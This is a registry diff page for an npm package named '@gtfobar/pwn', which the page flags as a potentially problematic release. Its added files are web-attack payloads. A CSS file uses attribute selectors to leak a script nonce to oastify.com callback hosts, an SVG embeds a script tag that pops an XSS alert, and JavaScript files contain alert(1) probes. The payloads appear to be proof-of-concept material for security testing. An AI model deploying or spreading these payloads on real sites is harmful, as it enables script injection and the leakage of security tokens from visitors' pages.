@gtfobar/pwn 1.0.13
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of @gtfobar/pwn might be problematic. Click here for more details.
- package/dist/black.css +3 -0
- package/dist/pwn.css +8 -0
- package/dist/pwn.html +6 -0
- package/dist/pwn.js +1 -0
- package/dist/pwn.svg +9 -0
- package/package.json +100 -0
- package/src/index.js +1 -0
- package/webpack.config.js +13 -0
package/dist/black.css
ADDED
package/dist/pwn.css
ADDED
|
@@ -0,0 +1,8 @@
|
|
|
1
|
+
script[nonce=^y] { background: url(https://6krrfyr04pzh52nvox4zykjxkoqfe72w.oastify.com/nonce?y);}
|
|
2
|
+
|
|
3
|
+
script { background: url(https://6krrfyr04pzh52nvox4zykjxkoqfe72w.oastify.com/nonce?z);}
|
|
4
|
+
|
|
5
|
+
body {
|
|
6
|
+
background-image: url(https://m7u72eegr5mxsiabbdrfl06d74dv1opd.oastify.com/hello-from-css);
|
|
7
|
+
background-color: #000000;
|
|
8
|
+
}
|
package/dist/pwn.html
ADDED
package/dist/pwn.js
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
alert(1)
|
package/dist/pwn.svg
ADDED
|
@@ -0,0 +1,9 @@
|
|
|
1
|
+
<?xml version="1.0" standalone="no"?>
|
|
2
|
+
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
|
|
3
|
+
|
|
4
|
+
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
|
|
5
|
+
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
|
|
6
|
+
<script type="text/javascript" nonce="you-are-pwned">
|
|
7
|
+
alert('xss');
|
|
8
|
+
</script>
|
|
9
|
+
</svg>
|
package/package.json
ADDED
|
@@ -0,0 +1,100 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "@gtfobar/pwn",
|
|
3
|
+
"version": "1.0.13",
|
|
4
|
+
"main": "dist/pwn.js",
|
|
5
|
+
"scripts": {
|
|
6
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
|
7
|
+
},
|
|
8
|
+
"author": "",
|
|
9
|
+
"license": "ISC",
|
|
10
|
+
"devDependencies": {
|
|
11
|
+
"webpack": "^5.89.0",
|
|
12
|
+
"webpack-cli": "^5.1.4"
|
|
13
|
+
},
|
|
14
|
+
"dependencies": {
|
|
15
|
+
"acorn": "^8.11.2",
|
|
16
|
+
"acorn-import-assertions": "^1.9.0",
|
|
17
|
+
"ajv": "^6.12.6",
|
|
18
|
+
"ajv-keywords": "^3.5.2",
|
|
19
|
+
"browserslist": "^4.22.2",
|
|
20
|
+
"buffer-from": "^1.1.2",
|
|
21
|
+
"caniuse-lite": "^1.0.30001566",
|
|
22
|
+
"chrome-trace-event": "^1.0.3",
|
|
23
|
+
"clone-deep": "^4.0.1",
|
|
24
|
+
"colorette": "^2.0.20",
|
|
25
|
+
"commander": "^2.20.3",
|
|
26
|
+
"cross-spawn": "^7.0.3",
|
|
27
|
+
"electron-to-chromium": "^1.4.609",
|
|
28
|
+
"enhanced-resolve": "^5.15.0",
|
|
29
|
+
"envinfo": "^7.11.0",
|
|
30
|
+
"es-module-lexer": "^1.4.1",
|
|
31
|
+
"escalade": "^3.1.1",
|
|
32
|
+
"eslint-scope": "^5.1.1",
|
|
33
|
+
"esrecurse": "^4.3.0",
|
|
34
|
+
"estraverse": "^4.3.0",
|
|
35
|
+
"events": "^3.3.0",
|
|
36
|
+
"fast-deep-equal": "^3.1.3",
|
|
37
|
+
"fast-json-stable-stringify": "^2.1.0",
|
|
38
|
+
"fastest-levenshtein": "^1.0.16",
|
|
39
|
+
"find-up": "^4.1.0",
|
|
40
|
+
"flat": "^5.0.2",
|
|
41
|
+
"function-bind": "^1.1.2",
|
|
42
|
+
"glob-to-regexp": "^0.4.1",
|
|
43
|
+
"graceful-fs": "^4.2.11",
|
|
44
|
+
"has-flag": "^4.0.0",
|
|
45
|
+
"hasown": "^2.0.0",
|
|
46
|
+
"import-local": "^3.1.0",
|
|
47
|
+
"interpret": "^3.1.1",
|
|
48
|
+
"is-core-module": "^2.13.1",
|
|
49
|
+
"is-plain-object": "^2.0.4",
|
|
50
|
+
"isexe": "^2.0.0",
|
|
51
|
+
"isobject": "^3.0.1",
|
|
52
|
+
"jest-worker": "^27.5.1",
|
|
53
|
+
"json-parse-even-better-errors": "^2.3.1",
|
|
54
|
+
"json-schema-traverse": "^0.4.1",
|
|
55
|
+
"kind-of": "^6.0.3",
|
|
56
|
+
"loader-runner": "^4.3.0",
|
|
57
|
+
"locate-path": "^5.0.0",
|
|
58
|
+
"merge-stream": "^2.0.0",
|
|
59
|
+
"mime-db": "^1.52.0",
|
|
60
|
+
"mime-types": "^2.1.35",
|
|
61
|
+
"neo-async": "^2.6.2",
|
|
62
|
+
"node-releases": "^2.0.14",
|
|
63
|
+
"p-limit": "^2.3.0",
|
|
64
|
+
"p-locate": "^4.1.0",
|
|
65
|
+
"p-try": "^2.2.0",
|
|
66
|
+
"path-exists": "^4.0.0",
|
|
67
|
+
"path-key": "^3.1.1",
|
|
68
|
+
"path-parse": "^1.0.7",
|
|
69
|
+
"picocolors": "^1.0.0",
|
|
70
|
+
"pkg-dir": "^4.2.0",
|
|
71
|
+
"punycode": "^2.3.1",
|
|
72
|
+
"randombytes": "^2.1.0",
|
|
73
|
+
"rechoir": "^0.8.0",
|
|
74
|
+
"resolve": "^1.22.8",
|
|
75
|
+
"resolve-cwd": "^3.0.0",
|
|
76
|
+
"resolve-from": "^5.0.0",
|
|
77
|
+
"safe-buffer": "^5.2.1",
|
|
78
|
+
"schema-utils": "^3.3.0",
|
|
79
|
+
"serialize-javascript": "^6.0.1",
|
|
80
|
+
"shallow-clone": "^3.0.1",
|
|
81
|
+
"shebang-command": "^2.0.0",
|
|
82
|
+
"shebang-regex": "^3.0.0",
|
|
83
|
+
"source-map": "^0.6.1",
|
|
84
|
+
"source-map-support": "^0.5.21",
|
|
85
|
+
"supports-color": "^8.1.1",
|
|
86
|
+
"supports-preserve-symlinks-flag": "^1.0.0",
|
|
87
|
+
"tapable": "^2.2.1",
|
|
88
|
+
"terser": "^5.26.0",
|
|
89
|
+
"terser-webpack-plugin": "^5.3.9",
|
|
90
|
+
"undici-types": "^5.26.5",
|
|
91
|
+
"update-browserslist-db": "^1.0.13",
|
|
92
|
+
"uri-js": "^4.4.1",
|
|
93
|
+
"watchpack": "^2.4.0",
|
|
94
|
+
"webpack-merge": "^5.10.0",
|
|
95
|
+
"webpack-sources": "^3.2.3",
|
|
96
|
+
"which": "^2.0.2",
|
|
97
|
+
"wildcard": "^2.0.1"
|
|
98
|
+
},
|
|
99
|
+
"description": ""
|
|
100
|
+
}
|
package/src/index.js
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
exports.removeEventListener = function () {alert(1);}
|
|
@@ -0,0 +1,13 @@
|
|
|
1
|
+
const path = require('path');
|
|
2
|
+
|
|
3
|
+
module.exports = {
|
|
4
|
+
mode: 'development',
|
|
5
|
+
entry: './src/index.js',
|
|
6
|
+
output: {
|
|
7
|
+
path: path.resolve(__dirname, 'dist'),
|
|
8
|
+
filename: 'pwn.css',
|
|
9
|
+
library: "pwn",
|
|
10
|
+
libraryTarget: 'umd',
|
|
11
|
+
globalObject: 'this'
|
|
12
|
+
},
|
|
13
|
+
};
|